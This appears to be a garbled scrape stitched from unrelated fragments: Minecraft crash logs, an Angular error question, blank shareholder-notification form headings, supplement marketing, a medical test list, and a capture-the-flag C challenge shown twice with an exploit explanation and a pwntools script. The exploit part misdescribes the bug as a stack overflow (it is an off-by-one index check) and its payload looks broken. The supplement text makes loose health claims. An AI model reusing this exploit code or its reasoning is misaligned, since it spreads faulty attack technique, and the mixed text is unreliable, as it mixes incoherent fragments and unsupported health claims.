DNA REPLICATION IN EUKARYOTES

DNA replication is semiconservative;

GENES IN ACTION;

Transcription;

Translation;

Types of RNA;

at io.netty.bootstrap.AbstractBootstrap$BootstrapChannelFactory.newChannel([AbstractBootstrap.java:437](https://AbstractBootstrap.java:437)) at io.netty.bootstrap.AbstractBootstrap.initAndRegister([AbstractBootstrap.java:287](https://AbstractBootstrap.java:287)) at io.netty.bootstrap.AbstractBootstrap.doBind([AbstractBootstrap.java:269](https://AbstractBootstrap.java:269)) at io.netty.bootstrap.AbstractBootstrap.bind([AbstractBootstrap.java:233](https://AbstractBootstrap.java:233)) at net.minecraft.network.NetworkSystem.func\_151265\_a([NetworkSystem.java:66](https://NetworkSystem.java:66)) at net.minecraft.server.dedicated.DedicatedServer.func\_71197\_b([DedicatedServer.java:181](https://DedicatedServer.java:181)) at [net.minecraft.server.MinecraftServer.run](https://net.minecraft.server.MinecraftServer.run)([MinecraftServer.java:387](https://MinecraftServer.java:387)) at [net.minecraft.server.MinecraftServer$2.run](https://net.minecraft.server.MinecraftServer$2.run)([MinecraftServer.java:685](https://MinecraftServer.java:685)) 

at io.netty.channel.DefaultChannelPipeline.generateName([DefaultChannelPipeline.java:265](https://DefaultChannelPipeline.java:265)) at io.netty.channel.DefaultChannelPipeline.([DefaultChannelPipeline.java:76](https://DefaultChannelPipeline.java:76)) at io.netty.channel.AbstractChannel.([AbstractChannel.java:78](https://AbstractChannel.java:78)) at io.netty.channel.nio.AbstractNioChannel.([AbstractNioChannel.java:67](https://AbstractNioChannel.java:67)) at io.netty.channel.nio.AbstractNioMessageChannel.([AbstractNioMessageChannel.java:39](https://AbstractNioMessageChannel.java:39)) at io.netty.channel.socket.nio.NioServerSocketChannel.([NioServerSocketChannel.java:61](https://NioServerSocketChannel.java:61)) at sun.reflect.NativeConstructorAccessorImpl.newInstance0(Native Method) at sun.reflect.NativeConstructorAccessorImpl.newInstance([NativeConstructorAccessorImpl.java:62](https://NativeConstructorAccessorImpl.java:62)) at sun.reflect.DelegatingConstructorAccessorImpl.newInstance([DelegatingConstructorAccessorImpl.java:45](https://DelegatingConstructorAccessorImpl.java:45)) at java.lang.reflect.Constructor.newInstance([Constructor.java:423](https://Constructor.java:423)) at java.lang.Class.newInstance([Class.java:442](https://Class.java:442)) at io.netty.bootstrap.AbstractBootstrap$BootstrapChannelFactory.newChannel([AbstractBootstrap.java:435](https://AbstractBootstrap.java:435)) ... 7 more 

Minecraft Version: 1.7.10 Operating System: Linux (amd64) version 5.4.0-137-generic Java Version: 1.8.0\_191, Oracle Corporation Java VM Version: Java HotSpot(TM) 64-Bit Server VM (mixed mode), Oracle Corporation Memory: 361420608 bytes (344 MB) / 508952576 bytes (485 MB) up to 7474511872 bytes (7128 MB) JVM Flags: 1 total; -Xmx7373m AABB Pool Size: 0 (0 bytes; 0 MB) allocated, 0 (0 bytes; 0 MB) used IntCache: cache: 0, tcache: 0, allocated: 0, tallocated: 0 FML: MCP v9.05 FML v7.10.99.99 Minecraft Forge 10.13.4.1614 3 mods loaded, 3 mods active States: 'U' = Unloaded 'L' = Loaded 'C' = Constructed 'H' = Pre-initialized 'I' = Initialized 'J' = Post-initialized 'A' = Available 'D' = Disabled 'E' = Errored UCH mcp{9.05} \[Minecraft Coder Pack\] (minecraft.jar) UCH FML{[7.10.99.99](https://7.10.99.99)} \[Forge Mod Loader\] (server.jar) UCH Forge{10.13.4.1614} \[Minecraft Forge\] (server.jar) Profiler Position: N/A (disabled) Is Modded: Definitely; Server brand changed to 'fml,forge' Type: Dedicated Server (map\_server.txt) 

EXCEPTION: this.form._updateTreeValidity is not a function

1. I've already seen some other stack posts suggesting that using FormGroup instead of FormBuilder to init the form object in the component constructor is now standard with the new API so I've updated that.
2. I import ReactiveFormsModule and FormsModule along with all the form related components and the error doesn't seem to be module related.
3. My TypeScript isn't throwing errors in compile time and Visual Studio Intellisense seems to be able to find all FormGroup functions just fine so why is this happening at runtime?...

#include  #include  #include  #define STDIN 0 #define STDOUT 1 char flag[0x50] = {0, }; struct shop { unsigned long long goods[10]; long long cash; }; struct shop myshop = {.cash = 2000}; void setup() { setvbuf(stdin, 0, 2, 0); setvbuf(stdout, 0, 2, 0); setvbuf(stderr, 0, 2, 0); } int read_int() { char buf[0x10]; read(STDIN, buf, sizeof(buf) - 1); return atoi(buf); } void add_goods() { printf("Select index : "); int index = read_int(); if(index < 0 index > 10) { printf("Invalid access\n"); return; } printf("Goods's price : "); int price = read_int(); if(price < 0 price > 1500) { printf("Invalid access\n"); return; } myshop.goods[index] = price; printf("Finish\n"); } void sell_goods() { printf("Select index : "); int index = read_int(); if(index < 0 index > 10) { printf("Invalid access\n"); return; } if(myshop.goods[index]) { myshop.cash += myshop.goods[index]; myshop.goods[index] = 0; printf("Now you have %lld$\n", myshop.cash); } else { printf("No goods in this index\n"); return; } } void show_goods() { printf("Select index : "); int index = read_int(); if(index < 0 index > 10) { printf("Invalid access\n"); return; } if(myshop.goods[index]) printf("Your goods is %lld$\n", myshop.goods[index]); } void menu() { printf("\n1. Add goods\n"); printf("2. Sell goods\n"); printf("3. Show goods\n"); printf("4. Exit\n"); printf("What you want? : "); } int main(void) { setup(); printf("If you have 1337$, you can get flag!\n"); printf("Now you have %lld$\n", myshop.cash); int select = 0; while(1) { if(myshop.cash == 1337) { int fd = open("/home/oob/flag", O_RDONLY); if(fd < 0) { printf("[!] File descriptor error\n"); exit(1); } unsigned int fsize = lseek(fd, 0, SEEK_END); lseek(fd, 0, SEEK_SET); read(fd, flag, fsize); write(STDOUT, flag, fsize); exit(1); } menu(); select = read_int(); switch(select) { case 1: add_goods(); break; case 2: sell_goods(); break; case 3: show_goods(); break; case 4: printf("Bye :)\n"); exit(1); default: printf("Wrong input\n"); break; } } } 

1. When the program prompts for the price of the goods in the add_goods() function, we can provide a large input that overflows the buffer.
2. Since the myshop.goods array is located next to the buf array on the stack, overflowing the buffer can overwrite the elements of the myshop.goods array.
3. By carefully crafting the input, we can overwrite the value of myshop.cash with 1337 (the amount required to get the flag), effectively triggering the code block that reads and prints the flag.

from pwn import * # Set up the connection target = process('./code') # Replace 'your_program' with the actual program name/path target.recvuntil("Now you have ") # Wait for the initial prompt cash_value = str(target.recvline().strip().decode()) log.info(f"Current cash value: {cash_value}") # Craft the payload buffer_size = 0x10 payload = b"A" * buffer_size cash_offset = 0x10 * 8 # type of element in myshop.goods array is unsigned long long which uses 8 bytes payload += p64(cash_offset) payload += p64(1337) print(payload) # Select the appropriate option and send the payload target.sendlineafter("What you want? :", "1") # Choose option 1 (Add goods) target.sendlineafter("Select index :", "0") # Choose an index (0 in this example) target.sendlineafter("Goods's price :", payload) # Receive the response response = target.recvline().strip().decode() log.info(response) # Interact with the program if needed target.interactive() 

#include  #include  #include  #define STDIN 0 #define STDOUT 1 char flag[0x50] = {0, }; struct shop { unsigned long long goods[10]; long long cash; }; struct shop myshop = {.cash = 2000}; void setup() { setvbuf(stdin, 0, 2, 0); setvbuf(stdout, 0, 2, 0); setvbuf(stderr, 0, 2, 0); } int read_int() { char buf[0x10]; read(STDIN, buf, sizeof(buf) - 1); return atoi(buf); } void add_goods() { printf("Select index : "); int index = read_int(); if(index < 0 index > 10) { printf("Invalid access\n"); return; } printf("Goods's price : "); int price = read_int(); if(price < 0 price > 1500) { printf("Invalid access\n"); return; } myshop.goods[index] = price; printf("Finish\n"); } void sell_goods() { printf("Select index : "); int index = read_int(); if(index < 0 index > 10) { printf("Invalid access\n"); return; } if(myshop.goods[index]) { myshop.cash += myshop.goods[index]; myshop.goods[index] = 0; printf("Now you have %lld$\n", myshop.cash); } else { printf("No goods in this index\n"); return; } } void show_goods() { printf("Select index : "); int index = read_int(); if(index < 0 index > 10) { printf("Invalid access\n"); return; } if(myshop.goods[index]) printf("Your goods is %lld$\n", myshop.goods[index]); } void menu() { printf("\n1. Add goods\n"); printf("2. Sell goods\n"); printf("3. Show goods\n"); printf("4. Exit\n"); printf("What you want? : "); } int main(void) { setup(); printf("If you have 1337$, you can get flag!\n"); printf("Now you have %lld$\n", myshop.cash); int select = 0; while(1) { if(myshop.cash == 1337) { int fd = open("/home/oob/flag", O_RDONLY); if(fd < 0) { printf("[!] File descriptor error\n"); exit(1); } unsigned int fsize = lseek(fd, 0, SEEK_END); lseek(fd, 0, SEEK_SET); read(fd, flag, fsize); write(STDOUT, flag, fsize); exit(1); } menu(); select = read_int(); switch(select) { case 1: add_goods(); break; case 2: sell_goods(); break; case 3: show_goods(); break; case 4: printf("Bye :)\n"); exit(1); default: printf("Wrong input\n"); break; } } } 

1. When the program prompts for the price of the goods in the add_goods() function, we can provide a large input that overflows the buffer.
2. Since the myshop.goods array is located next to the buf array on the stack, overflowing the buffer can overwrite the elements of the myshop.goods array.
3. By carefully crafting the input, we can overwrite the value of myshop.cash with 1337 (the amount required to get the flag), effectively triggering the code block that reads and prints the flag.

from pwn import * # Set up the connection target = process('./code') # Replace 'your_program' with the actual program name/path target.recvuntil("Now you have ") # Wait for the initial prompt cash_value = str(target.recvline().strip().decode()) log.info(f"Current cash value: {cash_value}") # Craft the payload buffer_size = 0x10 payload = b"A" * buffer_size cash_offset = 0x10 * 8 # type of element in myshop.goods array is unsigned long long which uses 8 bytes payload += p64(cash_offset) payload += p64(1337) print(payload) # Select the appropriate option and send the payload target.sendlineafter("What you want? :", "1") # Choose option 1 (Add goods) target.sendlineafter("Select index :", "0") # Choose an index (0 in this example) target.sendlineafter("Goods's price :", payload) # Receive the response response = target.recvline().strip().decode() log.info(response) # Interact with the program if needed target.interactive() 

1. Issuer Details

1. Reason for Notification

1. Details of person subject to the notification obligation

1. Details of the shareholder

1. Date on which the threshold was crossed or reached

1. Date on which Issuer notified

1. Total positions of person(s) subject to the notification obligation

1. Notified details of the resulting situation on the date on which the threshold was crossed or reached

1. Information in relation to the person subject to the notification obligation
   
2. Person subject to the notification obligation is not controlled by any natural person or legal entity and does not control any other undertaking(s) holding directly or indirectly an interest in the (underlying) issuer.
   

1. In case of proxy voting

1. Additional Information

1. Date of Completion

1. Place Of Completion

1. Reason for the notification (please mark the appropriate box or boxes with an "X")

1. Details of person subject to the notification obligation iv

1. Full name of shareholder(s) (if different from 3.) v

1. Date on which the threshold was crossed or reached vi:

1. Date on which issuer notified (DD/MM/YYYY):

1. Total positions of person(s) subject to the notification obligation

1. Notified details of the resulting situation on the date on which the threshold was crossed or reached viii

1. Information in relation to the person subject to the notification obligation (please mark the

1. In case of proxy voting, please identify:

1. Additional information xvi

• Methionine: This essential amino acid plays a crucial role in many body functions, including the breakdown of fats and the maintenance of liver health. As our bodies cannot produce Methionine, we must source it from our diet or supplements.
• Inositol: Sometimes referred to as Vitamin B8, Inositol is not technically a vitamin but a type of sugar that influences the insulin response and cholesterol metabolism in your body. It also has a role in neurotransmitter signaling, helping with mood regulation.
• Choline: Choline is a nutrient that's important for liver function, normal brain development, nerve function, muscle movement, and supporting energy levels. Your body can produce a small amount, but most must be obtained from your diet.

• Metabolic Booster: MIC Blend is highly regarded for its potential to boost metabolism, which could lead to improved fat burning and weight loss. The Methionine in the blend helps break down fats and prevent their accumulation in the liver, aiding the overall fat metabolism process.
• Liver Support: MIC Blend may provide support for your liver. Methionine and Choline are essential for the detoxification processes in your liver, and Inositol aids in the metabolism of fat and cholesterol.
• Mood and Energy Enhancer: Users of MIC Blend have also reported enhanced mood and energy levels, likely due to Inositol's role in neurotransmitter signaling and Choline's contribution to muscle movement and energy.

at dev.lazurite.toolbox.impl.event.EventImpl.invoke([EventImpl.java:32](https://EventImpl.java:32)) at net.minecraft.server.MinecraftServer.handler$zpp000$toolbox$tickServer\_End([MinecraftServer.java:5313](https://MinecraftServer.java:5313)) at net.minecraft.server.MinecraftServer.method\_3748([MinecraftServer.java:857](https://MinecraftServer.java:857)) at net.minecraft.server.MinecraftServer.method\_29741([MinecraftServer.java:665](https://MinecraftServer.java:665)) at net.minecraft.server.MinecraftServer.method\_29739([MinecraftServer.java:257](https://MinecraftServer.java:257)) at java.base/java.lang.Thread.run([Thread.java:833](https://Thread.java:833)) 

Minecraft Version: 1.19.2 Minecraft Version ID: 1.19.2 Operating System: Windows 11 (amd64) version 10.0 Java Version: [18.0.2.1](https://18.0.2.1), Oracle Corporation Java VM Version: Java HotSpot(TM) 64-Bit Server VM (mixed mode, sharing), Oracle Corporation Memory: 537218808 bytes (512 MiB) / 2166358016 bytes (2066 MiB) up to 4294967296 bytes (4096 MiB) CPUs: 16 Processor Vendor: AuthenticAMD Processor Name: AMD Ryzen 7 5800X 8-Core Processor Identifier: AuthenticAMD Family 25 Model 33 Stepping 2 Microarchitecture: Zen 3 Frequency (GHz): 3.79 Number of physical packages: 1 Number of physical CPUs: 8 Number of logical CPUs: 16 Graphics card #0 name: NVIDIA GeForce RTX 2060 Graphics card #0 vendor: NVIDIA (0x10de) Graphics card #0 VRAM (MB): 4095.00 Graphics card #0 deviceId: 0x1f03 Graphics card #0 versionInfo: DriverVersion=31.0.15.3161 Memory slot #0 capacity (MB): 8192.00 Memory slot #0 clockSpeed (GHz): 4.00 Memory slot #0 type: DDR4 Memory slot #1 capacity (MB): 8192.00 Memory slot #1 clockSpeed (GHz): 4.00 Memory slot #1 type: DDR4 Memory slot #2 capacity (MB): 8192.00 Memory slot #2 clockSpeed (GHz): 4.00 Memory slot #2 type: DDR4 Memory slot #3 capacity (MB): 8192.00 Memory slot #3 clockSpeed (GHz): 4.00 Memory slot #3 type: DDR4 Virtual memory max (MB): 45494.09 Virtual memory used (MB): 23058.48 Swap memory total (MB): 12800.00 Swap memory used (MB): 47.21 JVM Flags: 1 total; -Xmx4G Fabric Mods: appleskin: AppleSkin 2.4.1+mc1.19 cloth-config: Cloth Config v6 7.0.65 

 architectury: Architectury 6.5.85 auto\_third\_person: Auto Third Person 1.2.1 badpackets: Bad Packets 0.2.1 cavedust: Cave Dust 1.2.0 kirin: Kirin UI 1.11.1-beta.1 cobblemon: Cobblemon 1.3.1+1.19.2 create: Create 0.5.0.i-1017+1.19.2 com\_google\_code\_findbugs\_jsr305: jsr305 3.0.2 forgeconfigapiport: Forge Config API Port 4.2.9 

 milk: Milk Lib 1.0.51 

 porting\_lib: Porting Lib 2.1.954+1.19.2 

 reach-entity-attributes: Reach Entity Attributes 2.3.0 registrate-fabric: Registrate for Fabric 1.1.57-MC1.19.2 dropz: Dropz 2.2.0+1.19.2 emotecraft: Emotecraft 2.2.5 player-animator: Player Animator 0.3.5 fabric-api: Fabric API 0.76.0+1.19.2 fabric-api-base: Fabric API Base 0.4.15+8f4e8eb390 fabric-api-lookup-api-v1: Fabric API Lookup API (v1) 1.6.14+93d8cb8290 fabric-biome-api-v1: Fabric Biome API (v1) 9.1.1+16f1e31390 fabric-block-api-v1: Fabric Block API (v1) 1.0.2+e415d50e90 fabric-command-api-v1: Fabric Command API (v1) 1.2.16+f71b366f90 fabric-command-api-v2: Fabric Command API (v2) 2.2.1+413cbbc790 fabric-commands-v0: Fabric Commands (v0) 0.2.33+df3654b390 fabric-containers-v0: Fabric Containers (v0) 0.1.41+df3654b390 fabric-content-registries-v0: Fabric Content Registries (v0) 3.5.2+7c6cd14d90 fabric-convention-tags-v1: Fabric Convention Tags 1.3.0+4bc6e26290 fabric-crash-report-info-v1: Fabric Crash Report Info (v1) 0.2.8+aeb40ebe90 fabric-data-generation-api-v1: Fabric Data Generation API (v1) 5.3.8+413cbbc790 fabric-dimensions-v1: Fabric Dimensions API (v1) 2.1.35+0d0f210290 fabric-entity-events-v1: Fabric Entity Events (v1) 1.5.4+9244241690 fabric-events-interaction-v0: Fabric Events Interaction (v0) 0.4.34+562bff6e90 fabric-events-lifecycle-v0: Fabric Events Lifecycle (v0) 0.2.36+df3654b390 fabric-game-rule-api-v1: Fabric Game Rule API (v1) 1.0.24+b6b6abb490 fabric-item-api-v1: Fabric Item API (v1) 1.6.6+b7d1888890 fabric-item-groups-v0: Fabric Item Groups (v0) 0.3.39+9244241690 fabric-lifecycle-events-v1: Fabric Lifecycle Events (v1) 2.2.4+1b46dc7890 fabric-loot-api-v2: Fabric Loot API (v2) 1.1.13+83a8659290 fabric-loot-tables-v1: Fabric Loot Tables (v1) 1.1.16+9e7660c690 fabric-message-api-v1: Fabric Message API (v1) 5.0.7+93d8cb8290 fabric-mining-level-api-v1: Fabric Mining Level API (v1) 2.1.24+33fbc73890 fabric-networking-api-v1: Fabric Networking API (v1) 1.2.11+10eb22f490 fabric-networking-v0: Fabric Networking (v0) 0.3.28+df3654b390 fabric-object-builder-api-v1: Fabric Object Builder API (v1) 4.2.2+d8ef690890 fabric-particles-v1: Fabric Particles (v1) 1.0.14+4d0d570390 fabric-recipe-api-v1: Fabric Recipe API (v1) 1.0.1+413cbbc790 fabric-registry-sync-v0: Fabric Registry Sync (v0) 0.9.32+9244241690 fabric-rendering-data-attachment-v1: Fabric Rendering Data Attachment (v1) 0.3.19+6e0787e690 fabric-rendering-fluids-v1: Fabric Rendering Fluids (v1) 3.0.11+4d0d570390 fabric-resource-conditions-api-v1: Fabric Resource Conditions API (v1) 2.1.2+aae9039d90 fabric-resource-loader-v0: Fabric Resource Loader (v0) 0.8.4+edbdcddb90 fabric-screen-handler-api-v1: Fabric Screen Handler API (v1) 1.3.7+1cc24b1b90 fabric-transfer-api-v1: Fabric Transfer API (v1) 2.1.6+413cbbc790 fabric-transitive-access-wideners-v1: Fabric Transitive Access Wideners (v1) 1.3.3+08b73de490 fabricloader: Fabric Loader 0.14.21 iceberg: Iceberg 1.0.46 java: Java HotSpot(TM) 64-Bit Server VM 18 jei: Just Enough Items 11.6.0.1015 minecraft: Minecraft 1.19.2 rayon: Rayon 1.7.1+1.19.2 toolbox: Lazurite Toolbox 1.4.0+1.19.2 transporter: Transporter 1.4.0+1.19.2 vanilla\_refresh\_mr: Vanilla Refresh 1.4.14 voicechat: Simple Voice Chat 1.19.2-2.4.8 wthit: wthit 5.16.1 wwoo: William Wythers' Overhauled Overworld [3.1.9.1](https://3.1.9.1) blue\_endless\_jankson: jankson 1.2.1 xaerominimap: Xaero's Minimap 23.4.4 xaeroworldmap: Xaero's World Map 1.30.3 Server Running: true Player Count: 2 / 20; \[class\_3222\['PlayerXess'/872, l='ServerLevel\[world\]', x=74.60, y=128.18, z=100.29\], class\_3222\['Thunder35MC'/230, l='ServerLevel\[world\]', x=100.79, y=118.00, z=31.71\]\] Data Packs: vanilla, Fabric Mods, WWOO World Generation: Experimental Is Modded: Definitely; Server brand changed to 'fabric' Type: Dedicated Server (map\_server.txt) 

• Troponin (only on Oct 26, 2022 after unconscious incident…418 pg/mL, then later 7152, then 3674)
• TSH (low… 0.31 mcIU/mL)
• Normal Tests
• Bacteria cultures
• Fungal cultures
• Aspergillus
• Cryptococcus
• Tuberculosis
• Coccidioides
• Complete Blood Count
• White Blood Cell Differential
• C-Reactive Protein
• Creatinine
• Nocardia Species Culture
• ANCA (C-ANCA)
• Glomerular Basement Membrane
• Thermoactinomyces Vulgaris
• Pigeon IGG
• Urinalysis
• Ferritin
• Prothrombin Time
• Iron and Total Iron Binding Capacity
• Spirometry
• Anti-Human Globulin (Coombs Test)
• Blood Urea Nitrogen
• Electrolytes
• Anaerobic Culture
• Urine Histoplasma Capsulatum Antibody
• Calcium
• Vitamin D
• Magnesium
• Glucose
• B-Type Natriuretic Peptide
• Methicillin Resistant Staphylococcus
• Hemoglobin and Hematocrit
• Phosphate
• T3
• T4
• Vitamin B12
• Erythrocyte Sedimentation Rate
• Thyroperoxidase Antibody
• Ionized Calcium
• Angiotensin Converting Enzyme
• Alanine Aminotransferase (ALT)
• Lipid Panel